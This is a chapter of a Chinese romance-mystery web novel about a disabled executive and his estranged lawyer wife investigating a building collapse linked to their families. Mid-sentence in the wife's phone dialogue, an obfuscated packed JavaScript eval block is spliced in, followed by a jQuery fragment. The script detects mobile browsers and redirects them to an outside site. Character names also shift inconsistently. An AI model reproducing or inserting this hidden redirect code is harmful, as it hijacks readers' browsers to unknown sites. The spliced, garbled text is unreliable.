暮色四合，残阳如血般染红了整片墓园。林允川的黑色轿车缓缓停在入口处，司机张明熟练地从后备箱取出轮椅，却被林允川抬手制止。
“今天不用轮椅。”他的声音低沉而坚定，“背我上去吧。”
张明愣了一下，随即会意地蹲下身。林允川的双臂环住他的肩膀，这个动作他们练习过无数次，但每次仍让张明感到心头发紧——曾经在商场上叱咤风云的林总，如今连给母亲扫墓都需要人背。
石板路两旁的古柏在风中沙沙作响，像是无声的叹息。林允川伏在张明背上，视线与墓碑平齐。远处，一个瘦削的身影正站在他母亲的墓前，夕阳将那人拉出一道长长的影子。
“有人。”张明警觉地放慢脚步。
林允川眯起眼睛：“放我下来。”
当张明小心地将他安置在墓碑前的石阶上时，那个陌生人转过身来。是个二十多岁的男子，穿着洗得发白的衬衫，手里攥着一份旧报纸。
“林总。”男子声音沙哑，“我是《澜城前沿》的记者周行。”他顿了顿，眼神复杂地看向墓碑，“也是当年京宁大厦事故第一责任人周斌的弟弟。”
林允川的瞳孔骤然收缩。一阵风吹过，卷起地上的落叶，发出簌簌的声响。
“我知道您会来。”周野蹲下身，与坐在墓前石阶上的林允川平视，“今天新闻里那篇将两起事故联系起来的报道，是我写的。”他苦笑着摊开手中泛黄的报纸，上面赫然是十八年前京宁大厦倒塌的新闻。
“我哥自杀那年，我只有八岁。”周行的手指轻轻抚过报纸上哥哥的照片，“父亲在他死后第二年就病逝了，母亲...没能撑过第三个冬天。”
林允川注意到周斌手腕上戴着一块老式手表，表带已经磨损得不成样子——那可能是他仅存的家人遗物。
“官方调查说我哥的设计存在致命缺陷。”周野突然抬头，眼中燃起执着的火焰，“但我知道不是这样。我哥当年才刚拿到资质，为人也谨慎，根本没有独自承接这么大工程的胆识，而且就算是他设计的，也会找自己的老师一起把关。”
远处传来教堂的钟声，惊起一群飞鸟。林允川望向母亲的墓碑，上面"林月英"三个字在夕阳下泛着微光。
“这次未来城事故本来只是普通的安全意外。”周野压低声音，“是我故意夸大，并且把两件事联系起来的。我需要舆论关注，更需要...您的力量。”他定定地看着林允川，目光如炬。
“你怎么知道我一定会帮你？”林允川眉毛轻挑。
“因为我知道，您母亲自杀大概率也跟这件事有关，对吗？”
最后一句话像利刃般刺入林允川的心脏...十八年了，他心中对这件事的疑团从未消散。
“你冒险来找我，不只是为了翻案吧？”林允川的声音冷得像冰。
周行从包里取出一个牛皮纸袋：“这是我哥留下的东西。里面有张照片...”他抽出半张烧焦的照片，上面隐约可见几个人站在建筑工地前，“背面的日期是京宁大厦出事前一天。”
林允川接过照片，呼吸瞬间凝滞——照片角落里，母亲的身影清晰可见，而她对面站着的几个人看不清。
“我不知道这张照片代表着什么，但是我需要您的帮助，林总。”周行的声音带着孤注一掷的决绝，“您有权势，有人脉，而我...只有这份执念。”
暮色渐浓，最后一缕阳光穿过云层，正好照在林月英的墓碑上。林允川缓缓抬头，眼中的寒意让周野不自觉地后退了半步。
“明天上午九点，岳林集团68楼。”林允川将照片收进西装内袋，“带上你所有的资料。”
当周行的身影消失在墓园尽头时，墓园的夜灯开始亮起。
林允川看了一眼母亲的墓碑，轻声道：“您当年突然退出那个项目，是不是发现了什么？”他从轮椅上艰难地撑起身体，将额头抵在冰冷的墓碑上。这个姿势让他后背的旧伤隐隐作痛，但他固执地保持着，就像小时候母亲抚摸他发顶时那样。
“我会调查清楚的”他的低语消散在风里，“不让任何一个无辜的人……蒙冤。”
灯光将他的影子拉得很长，孤独地投射在墓园的石板路上。远处，最后一缕光亮被乌云吞噬，空气中弥漫着雨的气息。山雨欲来。
次日上午，市城建档案馆的玻璃窗外，雨水顺着窗棂蜿蜒而下，模糊了外面的世界。就像许星艺现在混乱的思绪。
许星艺的手指悬在手机屏幕上，迟迟未能按下拨号键。屏幕上显示着那个她既熟悉又陌生的名字——林允川。
她没想到自己寻找的关键资料——十八年前京宁大厦的所有建筑档案，竟然在三天前被岳林集团借走了。
“借阅人陈默，借阅单位岳林集团，借阅期限三个月。”档案馆工作人员的话还在她耳边回响。
三个月。太久了。她等不了那么久。
许星艺深吸一口气，终于按下了拨号键。电话接通前的几秒钟里，她的心跳快得几乎要冲出胸腔。
“喂？”电话那头传来林允川低沉的声音，背景音嘈杂，似乎他正在某个会议现场。
许星艺的喉咙突然发紧。“是我，许星艺。”她停顿了一下，“我有很重要的事，想跟你谈谈。”
电话那头的嘈杂声突然消失了，林允川似乎去到了一个安静的地方。他的声音里带着一丝她无法解读的情绪，“什么重要的事。”
“我在市城建档案馆。”许星艺直奔主题，“我想查阅京宁大厦的建筑档案，但工作人员说资料被你的助理借走了。”
电话那头沉默了几秒。“你也在调查那件事？”林允川的声音突然变得严肃。
“嗯，昨天看到新闻后，我觉得事情没那么简单。”许星艺咬了咬下唇，“我父亲...就是当年京宁大厦事故的遇难者之一。”
电话那头传来一声轻微的抽气声。“我不知道这件事。”林允川的声音低沉下来，“但是我也觉得有问题，我母亲...她自杀的时间与那起事故太接近了。”
许星艺靠在档案馆的玻璃墙上，冰凉的触感透过薄薄的衬衫传来。“我妈妈告诉我，父亲生前曾经提到过，京宁大厦使用的建筑材料比之前的要差很多。他们向施工负责人反映过，但对方置之不理。”
“施工负责人是谁？”林允川急切地问。
“我不知道，我妈也不清楚。”许星艺叹了口气，“但我想，如果能查到当年的设计图纸，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177109|180762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
建筑材料供应商和验收记录...”
“设计图纸在我借走的档案里。”林允川打断她，“星艺，我想跟你谈谈。不只是关于这个案子，还有...”
“林允川，”许星艺打断他，“我们现在只谈这个案子，好吗？”
电话那头传来一声苦笑。“好。我在岳林大厦68楼，你方便现在能过来吗？资料都在我这里。”
许星艺犹豫了。“我...”
“我过去找你不太方便，我们只是签了离婚协议，三个月冷静期都没有过，不算正式离婚。”林允川的声音突然变得坚定，“法律上你还是林太太。而且，你是个律师，你调查的角度也会比我更精准，我是受害者家属，你也是。我们都有权利知道真相。”
许星艺闭上眼睛。他说得对，无论他们之间发生了什么，这件事比个人恩怨重要得多。
“好，我半小时后到。”
挂断电话，许星艺站在雨中愣了几秒，才招手拦下一辆出租车。车窗上的雨滴将外面的世界扭曲成模糊的色块，就像她此刻复杂的心情。
城市另一端的岳林大厦顶层，林允川的指尖无意识地敲击着桌面，落地窗外霓虹闪烁，整座城市灯火通明，却都比不上他此刻剧烈跳动的心脏。
两个月零三天。这个数字在他脑海中盘旋不去。自从那场难堪的离婚风波后，许星艺就像一滴水蒸发在空气中，而刚刚，她竟然主动打来了电话。
“林总，您的咖啡。”陈默推门而入，敏锐地察觉到上司不同寻常的状态——那个向来喜怒不形于色的商业帝王，此刻修长的手指竟在微微发颤，深不见底的眼眸中翻涌着他从未见过的情绪。
“把这里的花换了。”林允川突然开口，声音比平时低了几度，他顿了顿，想起许星艺曾经嫌弃玫瑰太过俗气，“送一束洋桔梗，要淡紫色的。”
陈默离开后，林允川推动轮椅来到休息间。镜中的男人眼下带着淡淡的青黑，下颌线条比两个月前更加锋利。他皱眉解开领带，换了一条更显年轻的藏蓝色暗纹款，又鬼使神差地喷了少许许星艺曾经称赞过的木质调香水。
轮椅在光可鉴人的地板上滑过，他突然停在休息间的床头柜，桌上那幅许星艺画的抽象派油画还挂在那里——那是他们关系最好的时候，她心血来潮的作品。画布上肆意泼洒的蓝色和金色，曾让林允川想起她醉酒时眼中的星光。
落地窗外，一架飞机划过夜空，红色的航灯明明灭灭。他想起最后一次见她的模样，她只是逆着光，静静站在老宅的客厅，看不清神情。
“她会变成什么样呢？”林允川不自觉地抚上自己的腿，那场车祸留下的不仅是这双废腿，还失去了很多东西，而许星艺...许星艺是第一个让他觉得残缺也可以被珍视的人。
“许星艺...”他在心中默念这个名字，仿佛这样就能缓解胸腔里那股陌生的灼热。两个月的分离，足够让一个人脱胎换骨。但无论如何改变，她终究是那个会在深夜里为他盖毯子、会因为他忘记复健而生气、会不怕脏乱帮他换尿袋的许星艺。
他忽然希望时间能走慢些，好让他再多做一秒心理准备；又希望时间能走快些，好让他立刻确认那个魂牵梦萦的身影是否安好。